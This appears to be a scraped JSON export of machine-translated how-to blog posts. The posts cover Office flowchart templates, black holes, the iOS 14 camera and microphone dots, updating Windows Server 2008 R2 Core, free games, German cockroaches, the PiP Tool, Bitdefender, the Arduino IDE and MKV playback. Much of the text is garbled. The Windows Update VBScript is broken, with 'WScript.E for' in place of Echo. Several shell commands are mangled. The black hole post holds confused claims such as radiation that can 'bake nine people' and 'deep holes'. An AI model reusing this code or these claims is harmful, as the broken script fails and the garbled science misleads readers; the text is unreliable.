complete process, just edit it to suit each person's needs. It is suitable for almost any type of process.\n  Swim Lane Flowchart If you want to create a flowchart that displays a process, but still divide the steps into separate categories, then the user needs to use a lane flow flow. As can be seen in the screenshot below, the categories appear between parallel lines (lanes).\nThis type of flowchart, also from MyWordTemsheet.org , is often used for business processes involving multiple departments.\n  Sample flowchart for Excel Simple flowchart If you prefer to use Excel to create your own flowchart, see the sample Example Flow Chart Template on the Template.net website.\n( Note : There is no sample preview link, so just scroll down the page until you see the title mentioned.)\nLike templates for Word, users will see a basic flow diagram that is easy to edit.\n  Flowchart set The next option is a set of downloadable templates right in Excel. Click File\u0026gt; New from the menu. Then, in the search box, enter from Flowchart. Next, you will see an option titled simply Flowcharts. Select it and click Create to download the entire set.\nThe great thing about this flowchart is that users get 8 different templates in a workbook.\n  Website and Cash templates\nThese two patterns are very similar because each template uses a flowchart in the downward direction. They then expand and branch into smaller parts.\n  Decision Tree Template\nThe Decision Tree template also uses a downstream flow but expands in each location to decide 'Yes'. Each 'Yes' point makes a final decision.\n  Procedure and Process templates\nThe Procedure and Process templates are all simple and clean flowcharts. Users can use them to display almost every type of decision-making process.\n  Template Project\nFor basic projects, the Project Flowchart template is an easy-to-understand option. But users can adjust this flowchart easily for larger projects.\n  Workflow Template\nWorkflow templates are probably the simplest option. It shows a simple workflow, downwards.\n  Template Mind Map\nThe Mind Map template is more like a diagram than a flowchart. The Mind Map template provides an easy-to-use method for brainstorming or group thinking.\n  Flowchart template for PowerPoint Data Flow PowerPoint Template Maybe users want to create their own diagrams in PowerPoint for presentations or simply for hobbies.\nThis template from SlideHunter.com includes three different formats, each on a separate slide. Although they are called 'data stream' templates, you can also use them for process flows.\nFormat 1\nThe first flowchart format is a useful format for decision making. Just ask questions in the red circle.\n  Format 2\nThe second format is ideal for situations where many parts must be taken or completed before a process can begin. Users can also reverse it to start with the red circle and expand it from there.\n  Format 3\nThe third flow format is useful when you want to display a simple process without a premise based on the decision.\n  Process Diagram Another sample from SlideHunter.com for PowerPoint with two options is a process diagram. The only difference between the two slides is the one with the color, and the other is only gray. Users can also try the third slide for the used clipart, making it easy to copy and paste to another slide if needed.\n  Edit the template Because templates are used in Microsoft Office applications, users can make changes to them similarly.\n  Users can change the color by selecting the shape, right-clicking to open the popup window and then selecting the color from the Fill option . Users can edit text by clicking inside the shapes. Users can delete objects by selecting them and clicking the Delete button . Users can add similar objects by selecting them and using copy / paste action. Users can add new objects by clicking Insert\u0026gt; Shapes and then making selections. Users can move an object by selecting it and when the four-sided arrow appears, drag it to a new location. A section to note about Word and PowerPoint templates is that the connectors will not automatically change if you move a shape. Therefore, it should be noted that they must be moved manually if the flowchart is rearranged.\nIf you choose to use Excel instead, hyphens will follow when you move the shapes. This makes it easy to change the interface without losing data stream.\n  Microsoft Visio is a great tool for creating diagrams because it is its main task.\nHowever, if you only know the basics of Microsoft Office (with Word, Excel and PowerPoint), then these templates will suit you. There is no reason to create a flowchart from scratch, especially when there is not much time. Select the app, download one of these great templates and start creating flowchart! Or, try one of these free graphing tools for Windows.\nWhich Microsoft Office application do you like to create flow charts? What is your flowchart pattern? Let us think in the comments below!\nWish you find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdm7mww8KhmKusXaWutcDEq6WsZZahvLivx5qpratdm7yzecyimquno6SztXnOn52im5U%3D\n","link":"/post/the-best-flowchart-patterns-flowcharts-for-microsoft-office/","section":"post","tags":null,"title":"The best flowchart patterns (flowcharts) for Microsoft Office"},{"body":"Black holes, an area in spacetime with extremely large gravitational force that can \"swallow\" everything like stars, planets . So if a black hole is close to the Earth, what will happen? At that time, was the Earth \"ripped\" into fragments and \"swallowed up\" as we imagined?\nAccording to Kevin Pimbblet, a physics lecturer at the University of Hull, England, has studied and given possible possibilities if a black hole is close to Earth. At that time, the part of the Earth that is near the black hole will have a greater force than the distant part, while the middle part will be forced into it. This effect makes the Earth look like a giant ball stretched from both ends. At this time, the Earth no longer forms spheres but longer and narrower. To a certain extent, the Earth will be torn apart, this phenomenon is called scientists spaghetti (spaghettification).\n  Earth is sucked into a black hole .(Artwork: Pics About Space).\nWhen an object approaches a black hole, its velocity will be faster while time is slowing down so that, in the process of advancing to a black hole, the Earth seems to stop at one point and never touch. to the black hole. But in fact, the Earth is still moving and will eventually cross the event horizon.\nThe event horizon is the inner boundary of space-time near a singular point, all kinds of matter that lie below this limit, including electromagnetic waves (including light) cannot go beyond to come to the observer. Currently, scientists still cannot know exactly what happens below the event horizon.\nIf you stand in another position in the observed universe, we will see that the Earth slowly turns red and fades.\nThe amount of radiation in the black hole is very large, it is easy to bake nine people but in theory, humans can live in deep holes after falling into the black hole.\nGeneral relativity indicates the existence of deep holes, a bridge through space-time, with black holes is its mouth. Therefore, if the Earth overcomes a safe black hole, it is possible that humans will come to a new universe.\nFuture prospects when people own the solar system Successfully creating cosmic black holes, demonstrating Hawking radiation exists ncG1vNJzZmismaXArq3KnmWcp51kxKmt02afmqigmru0edahnKdlpJ2ybrHAq6uhZZaWua2%2FjKKlraddlnqjuMCcomagn6Gy\n","link":"/post/what-happens-when-the-earth-falls-into-a-black-hole/","section":"post","tags":null,"title":"What happens when the Earth falls into a black hole?"},{"body":"After upgrading to iOS 14, users will see near the wave column on the iPhone's screen that a blue or orange dot may appear when opening certain apps. This is one of the new privacy protection features added by Apple. This new feature will notify users of which applications are using the recording and recording functions of the phone.\n  Specifically, if you open an app and see an orange dot in the right corner of the screen, it means that the application is using the microphone and recording what you say. When you use network calling apps and some major Apple apps like Siri, an orange dot appears.\nSo, if you do not make a phone call or make a voice command but see an orange dot appear, you can check to see which application is using the microphone by dragging down from the Quick Control Center (Control Center). ).\nIn previous versions, a red light would appear in the left corner of the status bar when an app recorded the user. On this latest version of iOS, orange dots and red lights appear at the same time.\nSimilarly, when an app uses the camera, a blue dot will appear to notify the user.\nEarlier, this feature was also applied by Apple on a MacBook or iMac to announce the opening of the camera. In case the camera is granted access, the microphone will also be granted, so the orange dot will not appear.\nThe small notification bar above the screen shows the application that just accessed the camera or microphone, so users can pull down from the Control Center to check. Users can delete the application if not sure why the app uses these two features to avoid being recorded, recording secretly.\nThis new feature of iOS 14 received high praise from users, it will help users feel more secure when using apps.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mnqtdnr2pu82eZKygn6x6orqMqKmappeaeqW702alnpmiYsGpsYywmK%2BdXZi8rcHMp2SanqSav27Bz6CpmpyZo7RuwM5moKirXWaB\n","link":"/post/why-does-iphone-show-an-orange-dot-near-the-wave-column-after-upgrading-to-ios-14/","section":"post","tags":null,"title":"Why does iPhone show an orange dot near the wave column after upgrading to iOS 14?"},{"body":"Network Administration - In Windows Server 2008, Server Core installation provides a minimal environment just to run the necessary server roles, which can reduce maintenance requirements as well as management or administration. Another key is reducing the attack surface on server roles.\nHowever, one of the difficulties in using Server Core is the management aspect. Luckily for us, most management difficulties can be solved using hand-crafted scripts and third-party and recent graphical user interface tools. is SCONFIG tool.\nAfter properly configuring Server Core and ready to deploy it to the server system, you must definitely download and install the latest Windows Server 2008 R2 updates from Microsoft's Windows Update page. . So how do you do this task?\nThere are many ways to help you accomplish this task, here are 5 methods that we want to introduce to you.\nMethod 1: Install the updates yourself\nTo install updates, you need to configure the Server Core machine so that it can automatically download and install updates:\nAt the command prompt:\nTo verify the current settings, type: cscript scregedit.wsf / AU / v   To enable automatic upgrades, type: cscript scregedit.wsf / AU 4   To disable automatic upgrade, type: cscript scregedit.wsf / AU 1 The problem with this setting is that you cannot control which updates are being downloaded and being installed. So if you don't want to enable automatic updates, you can manually download each upgrade from Microsoft's Windows Update page, transfer them to the Core machine, and install them using msiexec.exe or wusa.exe :\nMsiexec (command line options)\nhttp://technet.microsoft.com/en-us/library/cc759262(WS.10).aspx\nDescription of the Windows Update Stand-alone installer (Wusa.exe) and of .msu files in Windows Vista and in Windows Server 2008\nhttp://support.microsoft.com/kb/934307/en-us\nMethod 2: Install from script\nYou can also use the following script from MSDN:\nSearch, download and install updates: http://msdn.microsoft.com/en-us/library/aa387102(VS.85).aspx\nSet updateSession = CreateObject (\"Microsoft.Update.Session\") \n Set updateSearcher = updateSession.CreateupdateSearcher () \n WScript.Echo \"Searching for updates .\" \u0026amp; vbCRLF \n Set searchResult = _ \n updateSearcher.Search (\"IsInstalled = 0 and Type = 'Software'\") \n WScript.Echo \"List of applicable items on the machine:\" \n For I = 0 To searchResult.Updates.Count-1 \n Set update = searchResult.Updates.Item (I) \n WScript.Echo I + 1 \u0026amp; \"\u0026gt;\" \u0026amp; update.Title \n next \n If searchResult.Updates.Count = 0 Then \n WScript.E for \"There are no applicable updates.\" \n WScript.Quit \n End If \n WScript.E for vbCRLF \u0026amp; \"Creating collection of updates to download:\" \n Set updatesToDownload = CreateObject (\"Microsoft.Update.UpdateColl\") \n For I = 0 to searchResult.Updates.Count-1 \n Set update = searchResult.Updates.Item (I) \n WScript.Echo I + 1 \u0026amp; \"\u0026gt; adding:\" \u0026amp; update.Title \n updatesToDownload.Add (update) \n next \n WScript.Echo vbCRLF \u0026amp; \"Downloading updates .\" \n Set downloader = updateSession.CreateUpdateDownloader () \n downloader.Updates = updatesToDownload \n downloader.Download () \n WScript.Echo vbCRLF \u0026amp; \"List of downloaded updates:\" \n For I = 0 To searchResult.Updates.Count-1 \n Set update = searchResult.Updates.Item (I) \n If update.IsDownloaded Then \n WScript.Echo I + 1 \u0026amp; \"\u0026gt;\" \u0026amp; update.Title \n End If \n next \n Set updatesToInstall = CreateObject (\"Microsoft.Update.UpdateColl\") \n WScript.E for vbCRLF \u0026amp; _ \n \"Creating collections download updates to install:\" \n For I = 0 To searchResult.Updates.Count-1 \n set update = searchResult.Updates.Item (I) \n If update.IsDownloaded = true Then \n WScript.Echo I + 1 \u0026amp; \"\u0026gt; adding:\" \u0026amp; update.Title \n updatesToInstall.Add (update) \n End If \n next \n WScript.Echo vbCRLF \u0026amp; \"Would you like to install updates now? (Y / N)\" \n strInput = WScript.StdIn.Readline \n WScript.Echo \n If (strInput = \"N\" or strInput = \"n\") Then \n WScript.Quit \n ElseIf (strInput = \"Y\" or strInput = \"y\") Then \n WScript.E for \"Installing updates .\" \n Set installer = updateSession.CreateUpdateInstaller () \n installer.Updates = updatesToInstall \n Set installationResult = installer.Install () \n 'Output results of install \n WScript.Echo \"Installation Result:\" \u0026amp; _ \n installationResult.ResultCode \n WScript.Echo \"Reboot Required:\" \u0026amp; _ \n installationResult.RebootRequired \u0026amp; vbCRLF \n WScript.Echo \"Listing of updates installed\" \u0026amp; _ \n \"and individual installation results:\" \n For I = 0 to updatesToInstall.Count - 1 \n WScript.Echo I + 1 \u0026amp; \"\u0026gt;\" \u0026amp; _ \n updatesToInstall.Item (i) .Title \u0026amp; _ \n \":\" \u0026amp; installationResult.GetUpdateResult (i) .ResultCode \n next \n End If\nCopy the text in the script, save it under the WUA_SearchDownloadInstall.vbs file in the system32 directory and run:\ncscript WUA_SearchDownloadInstall.vbs    Method 3: Use SCONFIG\nSCONFIG is an interesting tool to be included in R2, you can use it to manage many aspects of Server Core computers. One of those features is the ability to control Windows Updates settings, and then use it to download updates and install selectively, or install them all at once.\nTo run SCONFIG, enter sconfig.cmd in the command prompt window and press Enter.\nFirst, activate Automatic Updates by typing \"5\" and press Enter.\n Type 'a' and press Enter.\n Next, type '6' so SCONFIG will perform a search and download missing updates.\n You can install all missing updates, or only updates are recommended.\n   Method 4: Visual Core Configurator 2008\nVisual Core Configurator 2008 is a tool with a graphical user interface, provided by Guillermo Musumeci. This tool is provided free of charge, you can download it from:\nCtxAdmTools - Visual Core Configurator 2008 v1.1\nAfter downloading this tool, copy the files to the Server Core server, or if it is a virtual machine, you can use the ISO file instead.\nThen run the tool.\n Click the \"Windows Update\" icon .\n Click the \"Search for updates\" button.\n Select the updates you want to download and install, click the \" Download and Install Updates\" button.\n  Method 5: Install using Core Configurator 2.0\nIn third-party GUI tools for Server Core, this tool is free to use and you can download it from the link below:\nCore Configurator 2.0 (Windows Server 2008 R2)\nRun Start_Coreconfig.wsf to launch the tool.\n The latest version of Core Configurator requires .NET Framework and PowerShell, which are components that will automatically install when the tool is executed.\n You will be reminded to join the customer experience improvement program. Accepting or denying is completely up to you.\n Click the \"Control Panel\" button.\n Click the \"Windows Updates\" button.\n First, you can configure auto-update settings (Auto Updates).\n Then press the \"Check for updates\" link and press the \"Download updates\" button.\n You can now choose which upgrade you want to install.\n ncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYravv9Oao6VlpaWxosDErGSopl2stq%2BwzrCqZquVp8OmvoxrZ2lwXad%2Fbq%2FOq5w%3D\n","link":"/post/5-ways-to-install-updates-on-windows-server-2008-r2-core/","section":"post","tags":null,"title":"5 ways to install updates on Windows Server 2008 R2 Core"},{"body":"1. Game Mega Man 20XX scene The interface of Mega Man 20XX is completely improved with the new weapon system, bringing a more interesting journey for players. The game will revolve around the world of humans and robots, of the two characters Nina and Ace in the fight against hordes of robots on earth.\nGraphics in 20XX are carefully invested, characters move smoothly, very flexible. 20XX equips the characters with an upgrade system called the core and they can collect randomly through each turn.\nConfiguration game settings:\nSystem: Windows 7 and above. RAM 1GB or higher. Memory 2GB or more. Video game Mega Man 20XX 2. Barony action game Barony game uses graphics similar to Minecraft, with the content of the story that you will join the journey in the dark dungeons, lair of Devil's Bastion and destroy the villain Baron Herx, who sowed Spreading terror for the town of Hamlet. The game has 4-player co-op mode for you to play with your friends.\nConfiguration settings:\nOperating system: Windows 7 and above. CPU Intel i3 3.0 GHz or higher. RAM 4GB or higher. Onboard graphics card or removable 2GB RAM. 300MB memory Video trailer game Barony: Blessed Addition 3. Game Superbrothers: Sword \u0026amp; Sworcery EP Adventure game combined with graphics and sound elements. Players will play the female warrior with the task of restoring the mystical book and unlocking ancient powers to stop the evil forces. Along the way players will encounter many interesting challenges with many other conundrums.\nConfigure game settings:\nOperating system: Windows XP / Vista / 7 CPU: AMD Athlon 64 2800+ 1.8 Ghz and Intel Pentium IV 2.8 Ghz or higher. RAM 1GB or higher Onboard graphics card or removable 2GB RAM. Storage of 500 MB. Video trailer game Superbrothers: Sword \u0026amp; Sworcery EP You can views and download game here\u0026nbsp;on Epic Games Store\nncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdorKorYymmKdlkpa%2FsLrYZpinnF2owrGx0ZupqKyYmr%2B0ecaapJ6rXZu8s3nFq5yeZZ%2Bjeqa8yJxkoJmdmsBuv9OoqZ4%3D\n","link":"/post/download-mega-man-barony-and-superbrothers-games-for-free-on-epic-games-store/","section":"post","tags":null,"title":"Download Mega Man, Barony and Superbrothers games for free on Epic Games Store"},{"body":"German cockroaches are strange cockroaches raging in many apartments in Hanoi and Ho Chi Minh City, and are becoming an obsession for many people. In addition to the disgusting and annoying look, these cockroaches also \"recommend\" more bacteria that can cause food poisoning including E. coli and salmonella. What these cockroaches release and their scattered body parts are likely to cause allergies or irritation to cause asthma attacks.\nBut the bad news about this frightening cockroach has not stopped when scientists recently confirmed that the speed of German cockroach evolution is so fast. According to a new study published in Nature in early June, the main reason for the adaptation of German cockroaches is that humans use poison to destroy them.\n  10 facts about dangerous and hard-to-destroy German cockroaches are raging in Vietnamese apartments Researchers at Purdue University were surprised to find that German cockroaches are not only resistant to drugs, but they can also be transmitted to their descendants. This means that they can resist many types of cockroach killers that have never been exposed.\nGerman cockroaches are developing their own resistance to many different classes of pesticides. This makes using chemicals to destroy them nearly impossible.\nResearchers have used 3 types of cockroaches in many homes across the US for 6 months. The results prevented them from being surprised and frightened, most cockroaches still lived well, even increasing their 'population'. Results in areas where pesticides are used are worse than in other regions. This means that insecticides are counterproductive.\nTo deal with this dangerous German cockroach, the team advised people to keep clean, using cockroach traps or vacuum measures to eradicate the whole nest.\nncG1vNJzZmismaXArq3KnmWcp51kr6KwjKecsKtdnLKzucCnZJynk6C%2FsK3CoZysZZiWw6Z5xK%2Bmpa6VmXq1u4ybnJynnZp6qrnMqKmtmZxiwamxjJyfnqWZmK6tedOemqGmn6G8qMWMoqVmoJGjsQ%3D%3D\n","link":"/post/german-cockroaches-have-evolved-to-become-immortal-the-chemical-technology-in-hand/","section":"post","tags":null,"title":"German cockroaches have evolved to become 'immortal', the chemical technology in hand"},{"body":" If your computer won't let you access all programs through the start menu, here's how to access them otherwise. Open the start menu.\nMethod 1of 2:\nWindows Vista  Open the start menu.\n  Click Computer.\n  Double-click on the Local Disc (C:) icon (May be named slightly different on some computers).\n  Click an empty space on the address bar (Bar at top of screen that says Computer \u0026gt; Local Disc (C:)).\n  Type C:ProgramData and press enter/return.\n  Open the Microsoft folder.\n  Open the Windows folder.\n  Open the Start Menu folder.\n  Open the Programs folder.\n Method 2of 2:\nWindows XP  Open My Computer, on your desktop.\n  Double-click on the Local Disc (C:) icon (May be named slightly different on some computers).\n  Open the Documents and Settings folder).\n  Open the user folder that you want to access programs from.\n  Open the Start Menu folder.\n  Open the Programs folder.\n  Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmTmLK0v4yypq6qXZi8rrzUrZyrq12lv7Cz0ZqkrGWfo3q4tc2dprCrXay2tbTOrqtmraOeu6h506GcZquklr%2B1ecyepa4%3D\n","link":"/post/how-to-access-your-computer-s-programs-on-windows-without-using-the-start-menu/","section":"post","tags":null,"title":"How to Access Your Computer's Programs on Windows Without Using the Start Menu"},{"body":"The floating window feature Picture in Picture is available on YouTube, when minimizing the video interface that is playing down to the bottom of the screen to conveniently track other content. In addition, we can also install some utilities to apply floating window feature on Chrome browser. So, how do I do with other applications or programs installed on my computer?\nPiP Tool is a tool to create the Picture in Picture feature for all active applications on Windows. Users will be given the option to bring any open application interface to the minimized window mode. Special tool allows users to select the area to display in the minimized floating window interface. The following article will guide you how to use the PiP Tool on your computer.\nHow to experience Picture-in-Picture feature on Google Chrome How to enable Picture in Picture Windows 10 Creators How to watch videos from the thumbnail screen on Opera How to view Youtube videos from a floating window on Chrome Instructions for using PiP Tool on Windows Step 1:\nUsers access the link below to download the latest version of PiP Tool to the computer.\nhttps://github.com/LionelJouin/PiP-Tool/releases   Step 2:\nNext, click on the msi installation file to proceed with the installation as usual.\n  Step 3:\nImmediately after installation is complete, click on the tool icon on the screen interface. The black bar display is located on the edge of the computer screen. This toolbar can be moved, click on the 6 dot icon to move to a new position.\n  Click the drop-down arrow icon to display all the open application interfaces on the computer. Click on the application that wants to use the miniature floating window mode in the corner of the screen.\n  Step 4:\nThis will display a square frame so that we can select the content area we want to display in the minimized floating window interface. We can also select the entire application window interface. Move the position of this frame to the content you want to use. After selecting, press the volume button on the black bar.\n  Step 5:\nAs a result, users will see the content on the application switch to the miniature floating PiP Tool window. When hovering, it will display a black bar to change the screen position conveniently for tracking. Square icon to select new minimized window, X mark to turn off floating window mode.\n  When you open the floating window in the correct application interface, all your operations will be displayed in the window view. This minimized mode not only applies to videos that you can use when writing text, tracking images, etc.\nUsers should note, when scaling the original application, the original content will not be reflected in the minimized window.\n  So with the PiP Tool, all open application interfaces on Windows can be transferred through the minimized window interface. We can freely select the content area we want to minimize, move the thumbnail screen to any position on the screen interface.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyfo6iZpJ67qHnWoqWdp6eoeqe70WaYpaRdlr2xuMicmK2hn6PAbrvNZq6ippSkxLQ%3D\n","link":"/post/how-to-create-floating-windows-for-all-applications-on-windows/","section":"post","tags":null,"title":"How to create floating windows for all applications on Windows"},{"body":"Software developed by Romania has different levels. As the name suggests, Bitdefender Antivirus Free Edition costs nothing and offers a simple Windows tool that focuses on two core security basics: Antivirus and blocking phishing sites.\nMeanwhile, Bitdefender Antivirus Plus is the company's premium commercial product and starts at $19.99/year/device. This version provides additional features, including anti-ransomware protection, WiFi security scanning, secure browser banking, secure file deletion, vulnerability scanner and security manager. export.\nStarting at $44.99/year for 5 devices, Bitdefender Total Security includes all of the above features as well as device cleaning and optimization tools, anti-theft system, plus apps to protect Protects Mac, Android and iOS devices, as well as Windows.\nHow to download and install Bitdefender for Windows Looking to use the free or paid version of Bitdefender for Windows? Here's how to download and get started.\nStep 1. Open your web browser and visit the Bitdefender site here to create an account:\nFill in the required information then press the create account button, make sure the password is at least 8 characters long and contains at least one number or symbol, including both lowercase and uppercase characters.\n  Step 2. Choose the free or paid version of Bitdefender. Once logged in, you will be selected from three options: Activate an existing subscription, try Bitdefender for free using the trial, and purchase Bitdefender.\n  Step 3. If you decide to choose the paid version of BitDefender, you will be issued with a 10-digit key which you can find in the confirmation email, received after ordering online (If no confirmation email was received. received within 30 minutes after completing the payment, you should check your spam or spam folder for mail). You will be asked to enter this code when activating your subscription.\n  Step 4. From the sidebar, select My Devices, then click the plus button above \"Install Bitdefender products on your devices\". Then, select Security and select This device to install Bitdefender on the PC you are currently using.\n  Step 5. Once the installation file is downloaded, open and run it. If the Windows user account control prompt is displayed as above, select Yes. After that, the Bitdefender installer will appear on the screen (at this point you can exit your browser if you want) and now you will have to wait a short while for the installer to download a bunch of files. necessary files.\n  Step 6. Once done, you will get a checkbox, asking you to read and agree to the subscription terms. You need to accept it before you can continue. Then click Install. After a short period of time Bitdefender will be ready to go on your PC.\n  Step 7. At this point, you can perform an initial security check by clicking Start Device Assessment. If you don't want to perform a scan at this point, just click Skip. From here, you can view the details of your subscription.\n  Step 8. Click Finish to access the Bitdefender interface, where you can check your security status, scan your settings, and use other features of the software, including VPN and Safepay functionality enabled. built-in available.\n  Congratulations! You have successfully installed Bitdefender on your PC.\nBitdefender ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqmlGK2r7%2FTmqOlZZKewaWxxZ6lnZ2iYryvedaipZ2np6g%3D\n","link":"/post/how-to-download-and-install-bitdefender-on-windows/","section":"post","tags":null,"title":"How to Download and Install Bitdefender on Windows"},{"body":"Arduino IDE (Integrated Development Environment) is open source software used to interact with Arduino control boards. Using it, you can connect and communicate with the Arduino hardware.\nThe Arduino IDE contains an editor used to write, compile, and upload code in Arduino hardware. You can install and run Arduino IDE on all major operating systems such as Windows, Linux and macOS.\nIn this article, TipsMake.com will show you two methods to install Arduino IDE software on Debian 10.\nMethod 1: Install the latest version of the Arduino IDE The Arduino IDE is available for download from the official website and can also be installed using the installation script provided during the setup process. Follow the steps below to do so:\nStep 1: Download the Arduino IDE To install the latest version of the Arduino software, just visit the official Arduino download page. Then download the settings that correspond to your system version.\nStep 2: Extract the package Now, navigate to the Downloads folder and extract the downloaded file as follows:\n$ cd Downloads/  $ tar –xf arduino-1.8.10-linux64.tar.xz  Then navigate to the extracted directory with the cd command:\n$ cd Arduino-1.8.10/  Finally, run the installation script with the following command:\n$ ./install.sh  Method 2: Install Arduino IDE from the Debian package archive The Arduino IDE is also available in the package repository of the Debian operating system 10. Therefore, in this method, the article will show you how to install it using the APT package manager.\nStep 1: Update the package database In this step, we will update the package database. Open Terminal in the Debian operating system by going to the Activities tab in the top left corner of the desktop. Then in the search bar, type terminal. When the Terminal icon appears, click it to launch the application. Then run the following command in Terminal:\n$ sudo apt update  Step 2: Install Arduino IDE Next, in this step, we will install the Arduino IDE by running the following command in Terminal:\n$ sudo apt install Arduino  You will be given the Y / N option , press y to continue.\nNow, wait for a while until the installation of Arduino IDE is complete.\nLaunch Arduino IDE To launch the Arduino IDE application on the system, press the Super Key and in the search bar that appears, enter Arduino. When the Arduino IDE icon appears, click it to launch the software.\nYou will see the following default interface of Arduino IDE.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKucpZ67sHnInZxmp55isaauyJqlZmlg\n","link":"/post/how-to-install-arduino-ide-on-debian-10/","section":"post","tags":null,"title":"How to install Arduino IDE on Debian 10"},{"body":"  Select a Movie Player that supports the MKV format. There is a lot of software that is completely free. Some software is programmed quite well, even more than the default software on the computer. The rest are not so good. Different software offers different options and functions for watching videos - in this case what you need most is a good software that is easy to use and can watch the MKV format without much intervention.\nVLC Media player (commonly referred to as \"VLC\") is free software, widely used, and meets the above (or even more) requirements. The remaining steps of this section will be guided by VLC software.\nVLC is not the only compatible software. There are many software that can view MKV format and have similar functions as VLC. For example, Media Player Classic (MPC) and MplayerX are also good choices.\n  Download and install the movie player software. Although the rest of this section is written in VLC, you can apply this step with other software. Find the download link online for the software of your choice. Choose trusted and safe websites - Cnet.com is a safe and widely used website that contains download links for various types of software, including VLC Player. If you use Cnet, type \"VLC Player\" in the search bar to get related results. Download the software, open the installation file and follow the instructions to install the software on your computer.\nFor ease of use, you should create a shortcut on the desktop. This makes it easier to access new software - a good option if you're not tech-savvy.\nNeed to download a version of VLC compatible with the operating system. VLC is divided into two versions for Windows and Mac.\n  Start VLC. After installation, launch the software. You may be asked to confirm allowing the software to access information on the internet. You will see a black window with an orange traffic column icon in the center. From this step, you can access the full functionality of VLC, including watching videos.\n  Open the video file. Click the \"Media\" button on the toolbar at the top of the VLC window. Next, select \"Open File\". Locate and select the MKV file. In most cases, the KMV file will open perfectly fine!\nNote - the instructions above are for the Windows version of VLC.\nAlthough VLC can open most MKV files without problems, there is also feedback about errors with a compressed video format called RealVideo. In this case, you need to use compatible software to watch RealVideo.\nUse Codec Packs   You need to understand the pros and cons of codec packs. Codec (short for code-decoding) is a computer software used to encode and decode any digital media. In this case, you need a codec that can decode and open MKV files. Fortunately, many free \"codec packs\" online can provide codes not only for MKV files, but many other file types as well. These codec packs have some pros and cons when opening MKV files.\nPros: As mentioned above, the codec packs we use often include codecs for many video formats - not just MKV. This means you can watch many other video formats after downloading and installing the codec pack. If the video files are downloaded from multiple sources, you should use a comprehensive codec pack that can \"cover\" most file formats.\nCons: Codec packs are a \"coercive\" method of opening stubborn video files. This almost always works, but if you want to open a video format but load too many unnecessary codecs, you're consuming hardware memory. Furthermore, if something goes wrong and you cannot open any video files, it can be difficult to determine which part of the codec pack is causing the error.\n  Download and install the appropriate codec pack. If you decide to go with this method, you need to download a codec pack that is safe, well-reviewed, and most importantly, has MKV file support. The official website of the website recommends using the Combined Community Codec Pack (CCCP) for Windows computers. Another PC option is the K-Lite Codec pack, which is free to download at codecguide.com. Download the codec pack you want, run the setup file and follow the on-screen instructions.\nWith Mac, things will be simpler, you just need to download compatible movie software. Perian is an open source project that adds video expansion functionality (including MKV format support) to Quicktime Player and certainly works, however the project hasn't been updated since 2012. It went unnoticed. on the Perian website, the developer recommends using some other software instead: Niceplayer, VLC, and MPlayer OS X.\nNote - before installing the codec pack, you should uninstall the old or outdated versions on your computer to avoid conflicting errors.\n  Open the MKV file with compatible software. After installing the codec pack, you can play videos on most of the pre-installed movie software on your computer. Codec pack developers recommend software that is free and regularly updated (such as VLC, Media Player Classic, etc.) However the default software on the computer (Windows Media Player, etc.) still active.\nImmediately after installation, you will be asked to adjust the \"filter\" option. If you're not tech-savvy and know what you're doing, it's better to leave the default option.\nIf you have trouble opening certain files, try opening another file of the same format. If it can be opened, the error is in that file, it may be corrupted or cannot be opened.\nTroubleshoot   Use a free MKV diagnostic program. Despite the efforts of the inventor, MKV files are still very difficult to open, especially on computers. The developers of Matroska understand this and have created a separate tool to detect problems with MKV files. This tool, called matroskadiag.exe, analyzes the file and determines if you have the correct codecs and filters installed to watch the video. This diagnostic program is completely free and can be downloaded from Matroska's website, matroska.org.\n  Use diagnostic software. The official diagnostic program mentioned above is not the only tool capable of analyzing files. There are many free programs on the market and there is no limit to what file formats can be analyzed. An intermediate program for analyzing file errors is KC's software called VideoInspector, which you can download for free at afterdawn.com.\n  Download compatible software to watch RealVideo. The software and codec packs listed above can fix most MKV file problems. However, there is an extremely persistent problem that the above methods cannot solve, which is RealVideo. Realvideo is a compressed video format. Basically, MKV files can be compressed to RealVideo format, and you cannot view this format on regular software. To watch RealVideo format you need to download a special software called RealPlayer, this software is completely free at real.com.\nAlso, if you don't want to download the official software, you can choose 3rd party software to watch RealVideo format like Real Alternative, which you can download for free from various online sites.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrturc1mpKSuXZu8s7nArWSfoZya\n","link":"/post/how-to-open-an-mkv-format-file/","section":"post","tags":null,"title":"How to Open an MKV . Format File"},{"body":" Have you ever needed or wanted to markup a file you've created as a file on your computer or saved from another device to your computer? Well, with Skitch you can mark it up. This article can explain how to create that properly marked up...\nPart 1of 3:\nCreating a New Screenshot or File  Open the File menu at the top of the Skitch program.\n  Select the New option.\n  Select the option that corresponds the type of file you'd like to create. Screen Snap is for creating a screenshot, which is actually a copy of a portion of the screen. Full Screen will take a screenshot of the entire screen. Blank will create a file that is completely white and will allow you to draw and annotate all over the screen.   Use the Open Command from the File menu, to allow you to open a picture file (jpeg) or one of the many other types.\n Part 2of 3:\nUsing the Tools  Look for the toolbar containing all the tools you can use to annotate your file on the very right side of the program.\n  Draw neat-looking arrowheads that point to an object with the Arrow tool. This tool is that arrow-looking tool. Click the tool from the toolbar. Locate the place where you'd like your arrow to begin. Drag the arrowhead where you'd like the point to point.   Write on the canvas with the Text tool. The text tool is the little letter a that is located on the screen's tools. Click anywhere on the screen and begin typing. Click anywhere else on the screen, when you are finished, or click another annotation tool, or save your file.   Draw nice-looking shapes on the picture, using the Shape tool. This will include rectangles, rounded rectangles, ellipses and lines. Click the rectangle icon on the toolbar. Find the proper type of shape you'd like to use. Click to select the exact tool you'll need. Drag the shape around the portion of the picture, as you did similar to the Arrow tool.   Highlight or draw on the picture with the Pen tool, which is a \"free-form\" tool. Click the area of the picture and drag to shade in the area you want shaded. Release your mouse button to stop highlighting or free-form draw on the picture. If you'd rather make the highlighting a little brighter, release the mouse button, and re-highlight the same area again.   Use the Stamp tool to create placemarks on such things like maps or things where text could denote \"This person is here,\" or even \"look here!\" There are multiple types and colors of Stamps available. The 